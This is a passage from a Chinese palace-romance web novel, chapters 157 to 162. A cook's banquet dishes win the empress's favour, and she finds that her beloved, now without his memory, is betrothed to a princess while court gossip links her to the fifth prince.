“儿臣的贺礼并没有二位哥哥和七妹妹名贵,儿臣也没有六弟的书画作得好,所以便让儿臣的小厨娘给母后做了几道可口的小菜,供母后品尝!”
四皇子听了打趣道:“母后,我看五弟是越来越抠了,可是平日的月钱都花到了玩乐上?穷到母后的寿礼都拿不出钱了?!”
大殿上的人听了皆是哄堂大笑,南宫宸却并未气恼,面色也无波澜,他这个四哥自小便口无遮拦,不会那些虚头巴脑的恭维假话,但心术并不歪,没什么怀心思,没必要和他置气。
皇后娘娘今日高兴,便也替南宫宸解起围来道:“只要是孩儿们送本宫的,本宫都喜欢!”
南宫宸对皇后娘娘一笑,随后拍了拍手,几名宫女便端着精致的盘子进入了殿内。
第一道菜摆在了皇后娘娘面前,南宫宸介绍道:“母后,这道菜叫翡翠虾球,虾球炸过之后放在新鲜的切的薄薄的黄瓜片上,上面涂抹了酸甜可口糖醋酱,吃着很是爽口。”
皇后娘娘先让婢女给皇帝夹了一块,又自己夹起一块品尝,果然!美味极了,酸酸甜甜,虾肉又是她最喜爱的食物,炸过之后配上切成薄片的黄瓜,吃不出一丝油腻。
点睛之笔便是那糖醋的酱汁,熬得火候,糖醋的比例皆是挑不出一点错处,堪称完美!
皇后娘娘满意地点了点头道:“我儿有心了,母后很喜欢吃!”
皇后娘娘吩咐宫人将这道翡翠虾球拿下去给众位皇子公主品尝。
陆卿尘坐在七公主身边,拿起一块翡翠虾球尝了一口,这味道和口感……
怎么这般的熟悉……
宫女又端上第二道菜,是一道水果罐头。
南启国蔬菜水果种类极其丰富,黄桃、樱桃、葡萄又是常见的水果,本没什么新奇的。
可将水果熬制成罐头,皇后娘娘还是第一次见到!
水果罐头被装在一个个透明的小巧而精致玻璃罐中,每个玻璃罐中装
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有一块黄桃、一颗樱桃、一颗葡萄,罐子里填充满了酸甜的糖水。
皇后娘娘用勺子先舀了一口糖水喝,糖水混着水果的汁水果然鲜甜可口。
又尝了一口黄桃,果肉的口感与新鲜的黄桃相差很多,炖煮过的黄桃竟然会更加的有韧劲。
皇后娘娘照例将剩下的小罐子分给了下面的众人。
这道水果罐头受到了各位皇子公主的一致好评,一时间夸赞声连成一片。
只有陆卿尘皱眉拿着那罐水果罐头,只这份用心,虽世上厨子众多,也唯她一人……
记忆中那张模糊的脸仿佛清晰了一些,那清脆的声音又在耳边萦绕起来。
“公子,你多吃些!”
“公子!我想骑马!”
“公子,无论如何险境,我与你在一处!”
陆卿尘侧头看向旁边的南宫燕,她终究不是她……
最后一道是一大盘精致摆放的小寿桃,足有几十个,简直就与刚摘的小桃子一般无二!
皇后娘娘见了惊喜极了,也喜欢极了!
拿起一个放在手里端详,小寿桃刚刚出锅,还是温热的,胖乎乎、软墩墩的,让人舍不得下口。
皇帝也是第一次见这么精致的菜色,龙颜大悦,直言要赏这个做饭的厨子!
众人没成想,南宫宸仅用几道菜品,便博得了这次宫宴的头筹!
南宫宸笑着谢恩道:“儿臣替那厨子多谢父皇赏赐!”
皇帝却爽朗大笑道:“谁知你会不会吞了那厨子的赏钱,把他叫上殿来,孤要亲自赏他!”
南宫宸赶紧差人去寻锦婳,不一会儿,锦婳便恭敬进了大殿。
皇后娘娘惊喜道:“这!不就是前些日子刚寻来的那个小厨娘吗!”
锦婳恭敬跪在大殿上,给皇帝、皇后请安:“民女拜见陛下、拜见皇后娘娘。”
皇帝龙颜大悦,对锦婳道:“起来吧!今日你这几道菜做的很是不错,很得皇后娘娘欢心,今日是皇后的生辰宴,你想要什么赏赐?”
第157章 不相识
一声脆响,玻璃罐子应声落地,摔得粉碎……
陆卿尘脑子一阵恍惚,随之而来的是头的一阵剧痛!
锦婳被那声脆响吸引了目光,寻着声音望去,竟令她惊在了那。
陆卿尘!
进宫这么些时日……
她终于寻到他了!
可是,他怎么看自己的眼神那般的陌生和疏离,甚至带着打量与探寻,他不认识自己了吗?又怎么会坐在七公主的身边……
锦婳克制自己,保持理智,不能相认!这可是南启皇宫,此刻又在皇后娘娘的寿宴上,若是一个行差踏错,两人都是个死!
锦婳强迫自己收回停留在陆卿尘身上的目光,他看着很好,身上的伤也似乎都痊愈了,身边一群丫鬟奴婢围着伺候着,七公主待他也温柔至极……
他看着很好,那便好……
看样子他在南启皇宫暂时不会有危险,还是要想个办法出宫去,把这个消息告诉谢威,想办法救他出去!
锦婳与陆卿尘的眼神交集,南宫宸都看在眼里。
这小丫头,一向灵动可爱,他竟是第一次在她眼中看见刚刚的那种目光。
那眼神中有一丝惊诧,随之而来的是忧伤,略带了些隐忍与不甘,随后低垂的睫毛上,竟有了星星点点的晶莹。
反观七妹妹救回来的大乾男子,好似并不认识锦婳,目光中皆是探寻与疏离。
南宫宸不知为何,见锦婳用那样的眼神去看陆卿尘,心口竟泛起一阵酸涩,一股说不出的情绪涌上心头。
南宫燕见陆卿尘手里的玻璃盏打碎了,不悦地瞥了一眼身边的奴婢道:“还不快把碎玻璃打扫干净,小心伤到了公子!”
那南宫燕又仔细地查看了陆卿尘,只是衣摆有些打湿了,并未被扎伤,便温柔道:“公子的衣衫都湿了,让丫鬟扶你去后面换一间新的吧。”
陆卿尘自来话少,即便是如今失忆,脾气秉性还是与之前一般无二,他只点了下头,便随丫鬟去了后厅。
锦婳只跪在地上,头微微低垂,不敢再朝陆卿尘看上一眼。
他刚刚看自己的眼神,疏离又陌生,就好似她这个人他从来不曾认识!
只要想到他刚刚的眼神,她便心如刀绞,他不再喜欢她了吗?他喜欢七公主了?
不得不说,一个是大乾太子,一个是南启公主,的确很是般配!
见锦婳跪地不语,丝毫是被刚才的玻璃盏打碎吓到了,皇后娘娘又慈爱地问道:“刚刚陛下问你想要何赏赐,怎么不答?”
这小丫头皇后娘娘看着便觉得莫名的喜爱,不只是因为她治好了她宸儿的舌头,有时看着这小丫头的眉眼与燕儿竟还有那么两三分的相似!
锦婳咬咬唇,跪地叩头谢了恩,再抬头时,眼圈微红,似乎有泪隐忍不出所致。
锦婳声音清脆又坚定道:“民女多谢陛下、皇后娘娘恩典。之前娘娘赏给民女的金银已经足够民女与家人用一辈子了,做人不好太贪,民女如今只想回家去,同家里兄长与弟弟团聚。”
皇后娘娘见殿下跪着的这小丫头瘦瘦小小的,年岁不大的样子,想必也是真的想家了。
如今宸儿的舌头也已经恢复得差不多了,既然这小丫头这般的想家,便不觉动了恻隐之心道:“那本宫便恩准……”
“母后不可!”
南宫宸急了!眉头拧在一起,厉声阻拦!
皇后也是第一次见南宫宸这般,便好奇道:“宸儿,为何不可?”
南宫宸自觉刚刚自己太过冲动,缓和了情绪,眉目一转道:“儿臣的舌头如今虽有了些味觉,但还未完全康复,若是许这小厨娘出宫去,儿臣怕再次失去味觉,这些日子的食疗前功尽弃!”
皇后娘娘思虑片刻,觉得南宫宸说得也极有道理,便对锦婳道:“既然五皇子的舌头还未完全恢复,本宫只能再强留你些时日,待五皇子完全恢复后,本宫便准了你出宫的请求,你看可好?”
锦婳心里已经
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暗骂了南宫宸一万遍了!自己真是白帮了他这些时日,他总绑着自己不让她出宫做什么!
难不成还要留她一辈子在这皇宫里给他做饭吃!
可锦婳如今在皇后娘娘的生日宴上也不好发作,只能低头悄悄瞪了一眼南宫宸,转而面色恢复平静对皇后娘娘道:“民女遵旨,日后定会尽心尽力为五皇子殿下做膳食。”
南宫宸捕捉到了锦婳悄悄瞥自己的小眼神,嘴角不觉泛起了一抹笑意,这丫头,在大殿之上敢偷偷瞪皇子殿下,真是胆大得很!
也可爱得很……
南宫宸的笑意却被皇后娘娘这个做母亲的看在眼里,看来她一直看作孩儿的小皇儿也长大了,算算年纪,也是到了该说亲的时候了。
只是宸儿难不成对锦婳这丫头有什么心思?怎么对放锦婳出宫这般的抗拒?
不过看锦婳这丫头,怎么似乎还好像没看上宸儿似的,执意要出宫。
难不成这两人闹了别扭?
南启国的皇帝与皇后娘娘自来是开明之人,以南启国的国力,也并非需要靠儿女和亲、婚姻来增强国力。
若是宸儿对这小厨娘真有那个心思,不妨先抬了侍妾,若是伺候得好,日后为侧妃也不是不可。
皇后娘娘看锦婳也是心里喜欢,便道:“今日你做的这几道菜本宫很是喜欢,便赏你十个金元宝,你可喜欢?”
锦婳谢了恩,拿了宫人送来的金元宝,恭敬地退了出去。
走在廊下,锦婳手捧着金元宝,看着一人由随从和护卫簇拥着,从掩映的翠竹中走来。
陆卿尘换了一身蓝褂子,腰间佩戴着的是他一直随身的玉佩。
陆卿尘面色如玉,身姿出众。
他从捧着金元宝的锦婳身边走过,却似从不认识她一般,锦婳盯着他腰间的那枚再熟悉不过的玉佩,站在廊下愣了愣。
待锦婳回过头看时,陆卿尘早已经消失在廊下的转角处。
他真是不认识自己了?
第158章 被耍
晚膳,锦婳给五皇子做的饭菜近乎糊弄。
本来她都有机会出宫了,就那么硬生生地被那个五皇子给扣下了!
南宫宸看着眼前的煮玉米、煮鸡蛋、小米粥,眉头皱得紧紧的。
这丫头……
这是在报复他吗……
这晚膳,吃在嘴里,没有一个有味道的……
锦婳想到陆卿尘看自己陌生疏离的眼神,便心里难受,走出房间,坐在台阶上看月亮。
外面传来热闹的声音,是小太监在给每个宫人发赏钱。
锦婳坐在台阶上细细听来,原来是七公主殿下今日在皇后娘娘的生辰宴上,被陛下和皇后娘娘赐婚了。
准驸马便是那位前些日子被七公主救下的英俊大乾男子。
锦婳心里酸涩了一下,宫人们口中的男子便是陆卿尘吧……
他与那七公主,无论是样貌,还是身份,都极其般配……
不想自己,无论是在大乾,还是被掳去了苍狼,还是流落南启,都只能做个小厨娘。
她拿什么去与那七公主拼!凭什么去与那七公主抢夺陆卿尘。
一股自卑酸涩的情绪,在心里不停地翻涌。
皇后娘娘今日生辰很是高兴,五皇子的舌头恢复了味觉,六皇子也回到了宫内,就连最小的七公主也有了准驸马。
皇后娘娘吩咐宫人,合宫同庆,赏钱务必发到每个宫人手中。
即便是坐在院子里的锦婳,并不想去凑这个热闹,也被发赏钱的宫人强塞了一吊铜板。
那铜板拿在手里,就像烫手山芋,又仿佛有千斤重,让锦婳拿在手里,心像针扎一般难受。
他是为救自己才掉下山崖的,即便是她在流放路上一路照顾他,到了北境又任劳任怨地养着他,这恩情他就算是报了,而且只多不少。
锦婳看着天上的月亮,孤零零地挂在天上,多像她啊……
好不容易就快又家了,这下子又没了……
她就是没有亲缘的命!等五皇子那白眼狼松了口,肯放她出宫去,她便带着这些黄金和玉石银票,找个天高海阔的地方享受自己的人生去!
最好做个无情无爱的浑蛋!都怪她认不清自己的身份,竟幻想着高攀陆卿尘,人家可是太子殿下,即便被废了,也是皇帝的嫡子,怎么可能会娶她一个小厨娘!
娘亲临终前的告诫她竟全都抛到脑后,如今自己被情爱所伤,也是活该!
不过好在她的真心还没有被扔得太远,还是能捡得回来的……
锦婳正垂头丧气地摆弄着手里的那吊钱,面前出现了一双锦靴,还能有谁!一句脚趾头也能猜得到,定是那五皇子又来找她的麻烦了!
锦婳现在心里真是恨**他,懒得抬头看他,起身想回屋,却被南宫宸硬生生地又按了回去。
南宫宸今日并没有摆起主子的架子,而是坐在锦婳旁边,两人就静静地坐在台阶上看月亮。
锦婳心思是既失落,又憋了一肚子气,即便南宫宸坐在她身边,她就是一言不发!
锦婳四下看了看,今日也是奇怪,南宫宸竟是自己只身来的,未带一个随从。
这家伙又想搞什么鬼!
两人坐了半个时辰,南宫宸坐不住了,平日里他是软凳坐惯了的,还是头一次在这冰凉的台阶上坐了半个时辰。
这小丫头也是个没良心的,他堂堂一个皇子,这大半夜的,又坐在这冰冷的台阶上陪她看月亮,她还在一旁气得鼓鼓地不理人!
南宫宸觉得腰有些受不住了,开始慢慢往锦婳那边倾斜,后来竟靠在了锦婳身上!
锦婳想要挣脱,毕竟男女授受不亲,他是皇子,倒是没人会说他什么!
可她一个小厨娘,被人闲话传出去,只会说她不守规矩,妄想勾引皇子,飞上枝头变凤凰!
她又不是没在宫里待过,人言可畏,吐沫都能淹**!
多少人就是死在了这上,她可是再清楚不过了!
她可以在任何事上犯糊涂,唯独不能在这事上犯浑!
锦婳一个起身,五皇子没了依靠,跌在了地上!
南宫宸这下子摔得不轻,又加上腰疼,一时间竟爬不起来!
他怒瞪着锦婳道:“你这是要**本王!”
锦婳愣在那,是走也不是,扶他也不是,陷入了两难。
南宫
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宸伸出手,锦婳却只愣愣地看着他,一点行动都没有。
南宫宸没好气地道:“平日看你挺机灵的,怎么今日傻了?!”
“还不快把本王拉起来!本王的腰快折了!”
锦婳这才明白过来,原来南宫宸往自己身上靠并非是调戏自己,而是坐的腰疼!
锦婳这才舒了一口气,放下了心!
她说呢!南宫宸若是找女人,什么样的小姐没有,再不济还有那么多美貌如花的婢女,至于找她这么一个没长开的小厨娘嘛!
锦婳伸出手,拉住南宫宸的手,死尽全身力气去拽南宫宸。
这家伙平日里看着高高瘦瘦的,怎么拉他起来会这么沉!
南宫宸的腰像是折了似的,使不上一点力气,锦婳这丫头怎么干使劲也拉不动自己,平日里的饭都是白吃的!
南宫宸另一只手拄着地想借力起来,却失败了,反倒将锦婳也拽翻在地,巧的是锦婳正好跌进了他的怀里!
锦婳慌了,怎么自己没把南宫宸拽起来,倒是被他拽倒在地了!
门外突然传来脚步声,锦婳心里暗道,完了!这下完了!得赶紧起来!
两人这个姿势任谁看都是自己想要扑倒五皇子殿下,翻身想做主子想疯了!
锦婳越是着急起身,却越爬不起来,反倒又跌了几次,靠五皇子更近了些!
门外的脚步声靠近,直到跨门而入,清脆的声音响起:“五哥!我听阿娇说你独自来这散步……”
声音戛然而止!
锦婳心中暗道,完了!这下全完了!
她这是什么命啊!这般的情景,竟被七公主看到了!
她便是有一百张嘴也解释不清啊!
锦婳又低头看被她压在地上的五皇子南宫宸,他嘴角那抹邪笑是什么意思?!
他怎么不为她解释?
他明明可以澄清是怎么回事啊!
锦婳慌乱地站起时,刚要向七公主解释,是南宫宸的腰疼,坐在地上起不来!
可一回头……
却见南宫宸手微微撑地便站了起来……
!!!
那刚刚是怎么回事?!
她被耍了?
第159章 表白
七公主双手捂着眼睛对南宫宸道:“五哥!对不住!我不知道你……哎呀!我还是走吧!”
说完,七公主双颊泛红,捂着脸转身便跑走了!
锦婳转头怒视南宫宸!
这下好了!她即便是身上长了一百张嘴,也是说不清了!
锦婳狠狠地瞥了一眼南宫宸!这个**!她真是懒得与他多说一句!
他明明舌头早就有了味觉,凭白地把她留在皇宫里要做什么?折磨她吗!
锦婳推门进了房间,“咣当!”一声关上了房门,南宫宸被无情地关在了门外。
南宫宸心里暗道了一句,这丫头,脾气还真不小!
只不过刚刚两人那般的亲密接触,他身上还带有她的温度,衣服上还沾染着她的气息,想到这些,南宫宸的心竟不由自主的嘣嘣狂跳起来。
美貌女子他并非未曾见过啊!即便是见了天仙一般的女子,他也不曾这般……
难不成,他真对那小丫头倾心了?
南宫燕一路羞涩地跑回宫里,她刚刚都看见了什么?!
五哥也真是的,自己的寝宫那么大,非要和那个小厨娘在庭院里……
被她一个小姑娘家家的撞见了,多难为情啊!
南宫燕跑回殿内时,陆卿尘正独自坐在庭院里下棋。
南宫燕也喘着粗气坐到陆卿尘的棋盘对面,大口地饮着茶。
陆卿尘抬头看南宫燕,今日这七公主怎么跑得上气不接下气,喝茶也如同牛饮一般,究竟是发生了什么事?
南宫燕见陆卿尘停下了手里下棋的动作,好奇地打量着自己。
竟开始不禁幻想起若是自己同公子也如五哥与那小厨娘那般的亲密,该是何滋味?
想到这,南宫燕的双颊更加绯红了。
陆卿尘对南宫燕的反应很奇怪,怎么无端端的脸竟红成了这样,便淡淡道:“公主殿下可是病了?早些回去歇息吧。”
南宫燕哪里肯放过与陆卿尘相处的机会,便急切地道:“本宫没病,本宫只是……”
陆卿尘听了却头都未抬,继续下棋道:“只是什么?”
南宫燕羞涩得都不敢看陆卿尘了,娇娇滴滴地说:“刚刚我去找五哥,婢女说他往那小厨娘的屋子那边走了,还不让人跟着,说是散散步、消化消化食便回来。”
“我听了便觉得奇怪,便也跟着去看看,公子猜我看到了什么?”
陆卿尘黑子落地,淡淡道:“殿下看到了什么?”
七公主八卦极了,强忍羞涩开口道:“我竟看见那小厨娘把五哥扑倒在地,想要把五哥……”
陆卿尘最后一颗子落地,黑棋赢了。
陆卿尘皱眉,又是那小厨娘!
怎么到处都是那小厨娘?又为何自己看见她心中竟有一种莫名的情绪?
今日看她在殿上很是恭敬有礼,没想到私下竟是这般放荡形骸的女子。
陆卿尘想到七公主描述的画面,顿时皱眉,心中对那小厨娘反感至极。
怪不得自己一见到那小厨娘,心口便疼痛难忍,原来是心比脑子更提前知道她并非什么好物。
七公主羞涩地笑了一下又道:“公子也不必嫌恶,宫里的奴婢想要出人头地,爬主子的床的她也不是头一个。”
“那小厨娘说来也是有些手艺的,做的饭菜很合五哥的口味,我听民间有话说,抓住男人的心,要先抓住男人的胃。”
“不知公子可有听过,此话在公子身上不知可也应验?”
陆卿尘见天色晚了,不便与七公主过多纠缠,便沉声道:“吾并非贪吃之人,天色晚了,公主回去歇着吧,吾也累了。”
七公主哪里肯放他走,小女孩的情思正在最浓烈的兴头上的时候,刚刚又被南宫宸和锦婳那一幕刺激到了,听陆卿尘要回房,南宫燕慌忙起身,也不顾身边有一群宫人看着,上前紧紧挽住陆卿尘的手臂道:“公子,父皇与母后今日已为我们二人订了亲。”
宫人们见公主与准驸马这般,都识趣地退了下去。
南宫燕柔软的小手向陆卿尘的胸膛探过去。
陆卿尘看着瘦,可胸膛却很结实,坚硬似火,南宫燕一时有些晕晕乎乎,竟又朝陆卿尘探了探,
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将脸颊贴在陆卿尘的胸膛上。
陆卿尘也许是骨子里就不喜与人靠近,皱眉有些抗拒地想要推开七公主。
可南宫燕没被推开,反倒抱他更紧,抬头媚眼如丝、含情脉脉地看着他道:“刚才只觉得那小厨娘放荡,可见了公子才知,女子若是真的遇见了自己的心爱之人,即便规规矩矩的公主,也是会抛下规矩,紧紧抱住心爱之人的。”
陆卿尘心里犯了疑,若是寻常男子,被女子这般的贴近,起码要有些反应。
可自己为何心里除了抗拒,再无其他,自己这般为了报救命之恩,便娶了七公主真的好吗?
南宫燕本以为,这世间的男子没一个她看得上眼的,却没想到遇见了这如神仙人物一般的公子!
她第一次感受情爱,靠在陆卿尘怀里,双眸微闭,面颊通红,心脏扑通扑通狂跳,紧张得就快从嗓子眼里蹦出来。
左右父皇和母后已经为他们赐了婚,今夜就把自己交与公子也不是不可。
南宫燕想着,便大胆地把小手朝陆卿尘的里衣里探去。
陆卿尘却一把抓住那如泥鳅般的小手,将被情爱冲昏头的南宫燕从怀里拉出来,南宫燕哪里还站得稳,一个腿软差点没摔倒。
陆卿尘将她扶坐在石凳上道:“承蒙七公主厚爱,只是吾……”
南宫燕见陆卿尘推开她,有些急了,难不成他不喜欢她!
“只是什么?!”
陆卿尘坦然道:“吾如今失去记忆,也不知家里是否已有妻女?不过看吾的年岁,也不像是未成婚的年纪,吾唯恐耽误了公主殿下。”
南宫燕却猛地抬头道:“即便你已经成了亲,也是可以和离的!本宫的心已经给了公子,是再也收不回的!”
陆卿尘看着南宫燕执着的眼神,叹了口气道:“夜晚凉了,吾先送公主回房歇息吧。”
南宫燕也不知为何,一见到陆卿尘便难舍难分,可这大晚上的,硬生生的缠着公子,自己与那小厨娘还有何分别。
想到这些,南宫燕点了点头,任由陆卿尘将她送回了闺房。
第160章 上香
想到陆卿尘与那七公主订了亲,锦婳便在床上烙饼一般地翻来覆去,一夜没睡好。
第二日一早,锦婳顶着个大黑眼圈去御膳房。
一路上遇见的宫人见了她皆窃窃私语。
锦婳一开始还觉得奇怪,大家都看着她窃窃私语做什么!
到了御膳房,锦婳开始洗菜,小安神神秘秘地凑过来道:“锦婳姐姐,大家都说你昨日夜里……”
锦婳好奇问:“我昨日晚上怎么了?”
小安面颊突然红润了许多,但到底还是未经事的孩子,便脱口道:“她们都说你昨日夜里爬了五皇子的床。”
锦婳差点没被自己的一口口水呛死,猛地咳了几声。
小安急忙拿来水杯,递给锦婳,帮着锦婳拍背道:“我知道姐姐不是那样的人!她们说的肯定是假的!”
锦婳喝了口水压了压惊,瞪着大眼睛朝小安坚定地点了点头。
怎么皇宫里谣言传得都是这般的快!
昨日不过是个误会,没成想今日便传成爬床了!
皇后娘娘正在梳头,孙嬷嬷笑意盈盈地进了屋,抿着嘴乐,站在皇后娘娘身侧不语。
皇后娘娘有些好奇地打量着孙嬷嬷道:“嬷嬷可是有什么趣事?也说给本宫听听。”
孙嬷嬷在皇后耳边耳语了几句,皇后娘娘立刻惊讶道:“此事可当真?那丫头!”
“我倒是她昨日生辰宴上自请出宫,宸儿拼命地留她,想来是闹了别扭……”
“这两人平日里交集甚多,看样子早已暗通情愫了。”
孙嬷嬷道:“皇后娘娘,五皇子殿下也是大了,身边也没个得力的伺候的人,四皇子殿下像五皇子殿下这般大时,都已经成了亲了。”
“再瞧咱们五皇子殿下,现在连个通房还都没有呢。”
皇后娘娘皱眉点了点头道:“嬷嬷这般说,想来是本宫的不是了。”
“本宫一直把宸儿当孩儿,他的个性也是皮了些,没想到竟一晃到了该成婚的年龄。”
“嬷嬷,依你看锦婳那丫头如何,既然她自己也有那份心思,给宸儿做个侍妾可当的?”
孙嬷嬷思索片刻道:“看五皇子殿下该是心悦于那丫头的,那丫头做的菜也确实对五皇子殿下的胃口,若是能将她留在五皇子殿下身边也未尝不可。”
皇后娘娘点点头道:“待本宫再观察些时日,找机会问问宸儿,切勿乱点了鸳鸯谱才是。”
孙嬷嬷眉目一转有了主意,附在皇后娘娘耳边小声耳语道:“过几日便是十五,娘娘按照惯例是要去大悲寺上香祈福的,何不带着几位皇子、公主一同前往,将那锦婳也带上,以娘娘的聪慧才智,到时定能观察出一二。”
皇后娘娘脸上露出笑意,点了点头。
不一会儿,孙嬷嬷便来通知锦婳,十五那日皇后娘娘要带着皇子、与公主们去大悲寺上香祈福。
娘娘特意点了锦婳的名字,要她也要一路随行。孙嬷嬷还吩咐她准备一些茶和点心,给皇后娘娘和皇子、公主路上享用。
锦婳乖顺地应了下来,待孙嬷嬷走后,锦婳翻了个大白眼!
本来是为了寻陆卿尘才入的南启皇宫,本来还担心他会不会被人囚禁,过得水深火热。
她整日里是提心吊胆,做梦都会惊醒,好几次都梦见他被严刑拷打,身上皆是血痕。
谁知人家转身投入了七公主的怀抱,成了准驸马!
人家过得风生水起,她自己反倒陷入南启皇宫出不去了,那南宫宸一天也不知都在想些什么,总惦记着捆绑她做什么!
娘亲的话果然没错,男人没一个靠得住的,不行!还是要寻个机会逃出去才是!
想来想去,去大悲寺不就是个好机会吗?她虽跟着去,但肯定没人会注意到她这个小厨娘的,寻个机会跑了便是了!
这几日,锦婳开始紧锣密鼓地准备茶点。
皇后娘娘该是喝得惯茶叶的,便泡些花茶、果茶便好了。
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点心就准备些鲜花饼、元宝年糕、提子奶酥、杏仁奶月饼、蜂蜜蒸蛋糕!
这几日,五皇子与锦婳的谣言在宫里传得沸沸扬扬,锦婳索性也不管了,那帮人七嘴八舌的爱说什么便说什么吧!
反正,那个五皇子殿下是一点也指望不上,他才不会跳出来为自己澄清谣言!
人家堂堂一个皇子,就算真的宠幸了一个丫鬟,也是无伤大雅。
即便陛下与皇后娘娘知道了,也是一笑置之,大不了感慨一句,皇儿长大了!
她就不同了,被传成爬上皇子的床。而人家皇子殿下还不肯收她为通房,若是脸小的,恐怕都要寻口井自尽了!
到了十五那日,皇后娘娘带着众位皇子、公主,及大队的宫人,坐上马车,前往大悲寺上香祈福。
也不知是不是故意的,孙嬷嬷竟将锦婳塞进了五皇子的马车里。
锦婳心里是胆战心惊,本想着路上寻个由头逃跑,这既上了五皇子的马车,岂不是又被这人给盯上了!
看锦婳不悦,也不看自己,也不请安,眼睛只瞥着窗外,南宫宸喃喃道:“这宫里谣言传得沸沸扬扬也怪不得我了,那日的确是你铺在了本王的身上。本王又有什么办法。”
锦婳听了这话更气了,转头要与南宫宸理论:“那日是怎么回事,你明明清楚得很,我一个厨娘人微言轻,解释什么无人肯信,你堂堂五皇子若是肯出面解释一句,我也不会被人指指点点,还说成爬床那么难听!”
南宫宸见锦婳是真的气急了,便解释道:“你当本王不想为你解释?毕竟本王的舌头还要指望你,何必得罪了你?只不过有些事越描越黑,这个道理你竟不懂?谣言止于智者,待过了这个风头,谣言自然就不攻自破了。”
锦婳白了南宫宸一眼,这家伙说得好听,说来说去,锦婳也听了个大概,无非是不想出面为她解释,还亏得她为他治舌头,真是一片真心喂了狼!
第161章 骂人
锦婳不再理南宫宸,眼睛朝着马车外看。
她眼看着七公主殿下挽着陆卿尘笑意盈盈的上了他们身后的那辆马车。
锦婳眼神稍稍暗淡,紧接着拉下马车窗帘,马车内的人她不爱看,马车外的更不爱看!
南宫宸看出了锦婳眼神的变化,掀开自己那侧的马车窗帘朝锦婳刚刚看的方向看去。
是小七与那汉人上了马车,这丫头怎么一见那汉人就不正常?
陆卿尘上了马车,便拿起一本书看了起来,南宫燕一个人无聊,看了看马车上的点心,这点心与她之前宫里做的很不一样!
这些样式皆是她没吃过的!
南宫燕喝了一口金桔茶,酸甜可口,有一股橘子特有的清香酸涩。
那个印有桃花模样的酥饼看着很是特别,南宫燕拿起一个小口咬了一口,恩!竟是鲜花只的陷!
宫里何时来了这么位面点师傅,竟这般的别出心裁!
南宫燕放下酥饼,又拿起了一块长方形的点心,小口咬了一口,里面竟是菠萝制的馅料,吃了一口竟一点不觉得涩嘴,她一向是不喜食菠萝的,可这菠萝馅的点心却是吃得的!
南宫燕又饮了一口金桔茶,配上香甜的点心,真是人间美味!
她何时这般的爱美食了!
陆卿尘看南宫燕一口一口地吃着盘子里的点心,早上不是才吃过早膳吗?他亲眼看她喝了一碗黑米粥,怎么这会儿又饿了?
南宫燕见陆卿尘的目光由书上挪开看向自己,她自觉自己似乎确实有些太过贪吃,便不好意思的笑笑道:“这点心很好吃,尝上一口竟自觉得停不下来,公子也尝一尝?”
陆卿尘狐疑地看了眼那盘子点心,的确造型很好看,别出心裁,但说到底也不过就是点心,竟有那么好吃?
陆卿尘犹豫片刻,还是伸手拿起了一块桃花酥,淡粉色的外皮,咬下去酥酥的,内陷是微甜的豆沙,外皮酥,内陷软烂,带着淡淡的甜。
这口感和味道敲击着他的大脑,仿佛拼命地想让他想起些什么,但只留下淡淡的疼,却什么也想不起。
路过一片湖水,马车停了下来休息,主子们皆由丫鬟们扶着下了马车松快松快,出来透透气。
锦婳无所事事,又不想和南宫宸待在一处,便往湖边散步。
湖面波光粼粼,微风****,锦婳坐在湖边的大石头上吹着风,舒服极了。
也有丫鬟婆子来湖边打水,给主子们洗手,煮茶。
那些宫人见了锦婳皆是窃窃私语,有的丫鬟觉得锦婳爬床成功,又能和五皇子乘坐一辆马车,想到自己只能跟在马车下走,心生嫉妒,故意将声音放大了些,尖利道:“呸!不要脸!谁家好人家的女儿爬床!人家五皇子殿下根本没有要收她的意思,如今闹得奴婢不奴婢,主子不主子的!”
见那丫鬟说得有些过了,旁边一起来打水的婢女急忙推了推她,使了眼色,示意她别说了!
那婢女非但没有收敛,骂得更来劲了,冲到锦婳面前,指着锦婳的鼻子道:“都是做奴婢的,偏你金贵,吃不得苦,整日想着爬主子的床!”
“吵**,是谁好大的胆子,扰了本公主的清净!”
身后一声凛厉的训斥声,让那丫鬟的谩骂声戛然而止!
锦婳寻着声音看过去,是七公主挽着陆卿尘的手臂,朝这边款款走来。
七公主面色不悦,皱着眉问道:“刚才是谁骂得这般难听?难不成是把自己当主子了?”
那被嫉妒冲昏了头脑,谩骂锦婳的婢女顿时吓得魂飞魄散,立刻跪地道:“七公主恕罪,奴婢知错了!”
七公主哪里肯饶她,冷言问道:“你是哪个宫的?竟被惯得如此胆大妄为,主子管束奴婢还合情合理,你一个婢女而已,好生的气派啊!”
那婢女吓得跪
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在地上拼命磕头道:“奴婢是在三皇子殿下宫里当差的,求七公主饶恕奴婢吧!”
那婢女的额头都磕出了血丝,可七公主未发话,她也不敢停下来。
想着七公主知道自己是三皇子殿下宫里的,定会给三皇子殿下几分薄面饶恕自己,可谁知七公主竟完全不吃这套!
那丫鬟磕的额头吱吱冒血,也不见七公主喊停,陪着的那丫鬟见状也跟着跪地求情到:“求七公主殿下饶了她吧!”
七公主见那婢女也是磕得鲜血淋漓,边冷漠道了一声:“停。”
那婢女停下磕头的动作,暗暗舒了一口气。
南宫燕叫来随从,冷漠道:“将这婢女送到三皇子殿下处,让他自己处理便是!”
婢女被连哭带嚎地拖走了,湖边只剩锦婳、陆卿尘、南宫燕三人。
锦婳微微抬头飞快地瞥了一眼陆卿尘,他的眉毛皱得好紧,目光里皆是探寻与不屑。
湖边没有旁人,锦婳起身对七公主道:“刚刚多谢公主殿下结为。”
南宫燕却道:“刚才处理那奴婢也并非为你,如今你与我五哥的关系,我自然不能对你放任不管。”
锦婳心里情绪翻涌,但也懒得解释,她与南宫宸压根儿一点关系也没有!
现在没有!以后也不会有!
刚才的一切陆卿尘都看到眼里,这丫头被指着鼻子骂都不还嘴,看样子骂人那个骂得并无错处。
这丫头看样子乖乖巧巧的,也做得一手好饭菜,何苦要爬五皇子的床?
这宫里的女人真是心术不正的居多!
锦婳抬眸正好与陆卿尘的眼神相遇。冷漠的,没有情绪的,还带着一丝厌恶。
没错!就是厌恶!
锦婳不想与面前这两人过多的待在一处,不愿看着他们恩爱,便对七公主道:“民女感谢七公主刚刚仗义直言,民女便不打扰公主殿下了,便先告退了!”
第162章 出气
锦婳实在不知,也弄不懂,究竟为何两人会如此疏离,甚至就如不认识一般!
他看她的眼神就如看陌生人一样,甚至还带些嫌恶,可他身边始终有七公主陪伴着,又不好上前问他一番!
什么好自为之!难不成他也认为她爬了五皇子的床了?
一路流放北境,这一年多的朝夕相处,竟都是白费了,她是什么人,他难道一点不知?
